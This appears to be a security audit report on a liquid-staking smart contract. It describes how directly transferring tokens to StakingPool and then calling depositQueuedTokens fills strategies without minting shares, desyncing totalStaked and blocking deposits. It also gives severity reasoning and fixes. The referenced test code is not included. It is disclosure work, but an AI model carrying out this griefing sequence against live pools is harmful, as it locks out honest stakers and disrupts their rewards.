Liquid Staking

Summary

totalStaked amount can be misaligned with actual tokens inside StakingPool and even worse can be moved to a strategy without anyone actually owning them or shares minted for that amount. This isn't beneficial to the hacker, but causes a bit of havock in contract logic.

Vulnerability Details

The StakingPool isn't able to account for tokens that are directly transfered to it. But still uses it's balance instead of totalStaked in some of actions, this created an opportunity to deposit tokens into strategies without minting shares or increasing totalStaked.

The attack is easiest to achieve when a fresh pool is started, but can also occur on a mature pool once any room opens up in strategies. The example provided will be with fresh pool since it's simpler. Sequence of actions:

• All contracts deployed

• The attacker DIRECTLY transfers (not deposit() or donateTokens()) enough tokens to fill all strategies and to cover StakingPool unusedDepositLimit to StakingPool

• The attacker calls depositQueuedTokens in PriorityPool with any boundaries amount. Because depositQueuedTokens prioritizes to use StakingPool unusedDeposits, it will call StakingPool.deposit with 0 amount argument.

• Inside StakingPool.deposit():

• At this point the StakingPool params will have shifted away from truth - totalStaked will not accurately track of what is deposited in strategies.

Example hardhat test of the attack:

The print-out will look like this and end with an InvalidDeposit

A similar attack can be performed if the strategies are slashed, because it suddenly opens staking room without anyone withdrawing. Theoretically with more and more slashes the hackor could slowly crowd the pool (No gain for himself, just damage to the pool reputation).

Mitigation try:

The owner could try calling strategyWithdraw to free up space in strategies and remove the "un-owned stake" but because it withdraws to the StakingPool the attacker could simply call the depositQueuedTokens and the StakingPool would deposit them to the available strategies again.

Impact

• After the above mentioned steps are taken the StakingPool will return mixed information, like this:

• Because stakingPool.canDeposit() returns a positive amount (even though there is no room left) and is used by PriorityPool.deposit() the function will try calling the StakingPool.deposit() with max available room (deposit amount or canDeposit() amount), but will revert with InvalidDeposit(). Because it will revert it will not add the deposit to queue even if positive _shouldQueue flag is passed.

• _depositQueuedTokens will perform as expected and because getStrategyDepositRoom() returns 0 will simply revert since there is no space [expected behavior]

• In case of fresh pool the StakingPool will have totalStaked = 0 and 0 shares while being fully occupied and unable to accept any deposits. Because nobody has shares, nobody will be able to claim rewards.

• In case this attack is performed on partially, the pool has more ways to recover, because some users can still withdraw and open room for more deposits that way. But in that case the attacker can simply repeat the attack to keep blocking further deposits.

• possibly more...

This attack causes it's main damage when the PriorityPool queue is emptied, because only then the PriorityPool.deposit() will start first trying to deposit into StakingPool and fail due to the attack, which in turn will prevent starting a new queue.

Marking this as "Medium" severity because the hacker doesn't really benefit or steal tokens, but only causes inconvenience to honest stakers and misalignment in pool functionality which is hard to remove and impossible to 100% prevent without a contract logic change.

Tools Used

Manual review + hardhat tests to verify

Recommendations

Tracking "same" pieces of aggregated quantities in multiple layers:

• StakingPool - totalStaked (an aggregated staked amount of all strategies)

• Strategies - totalDeposited/totalPrincipalDeposits (an aggregated staked amount of all vaults)

Is dangerous since any can go out of sync and cause inaccuracies or worse open the project to vulnerabilities. If possible use a single source of truth in this case the actual tokens stored by each staker in ChainLink Vault.

If that is not an option (due to business logic, gas cost or etc..). Try not to use direct token balances `token.balanceOf` and instead only use the tracked variables you have in storage. So that the tokens could have only come through the known/intended logic paths.

Same goes for staking room evaluation methods. Currently PriorityPool _deposit and _depositQueuedTokens are using slightly different methods of checking room, which contribute to this vulnerability. Strongly recommend using one and the same method in both cases if possible.

Currently:
_deposit uses - strategy.getMaxDeposits() sum and stakingPool.totalStaked to evaluate room
_depositQueuedTokens uses a combination of - strategy.getTotalDeposits(), strategy.getMaxDeposits() and pure StakingPool token amount.

unusedDepositLimit does not prevent exceeding the limit value even though it's description says -
// max number of tokens that can sit in the pool outside of a strategy either fix the description or alter the implementation so that unusedDepositLimit would cover all the ways contract receives tokens.

NOTES

Modified existing StakingPool test to check attack - full file: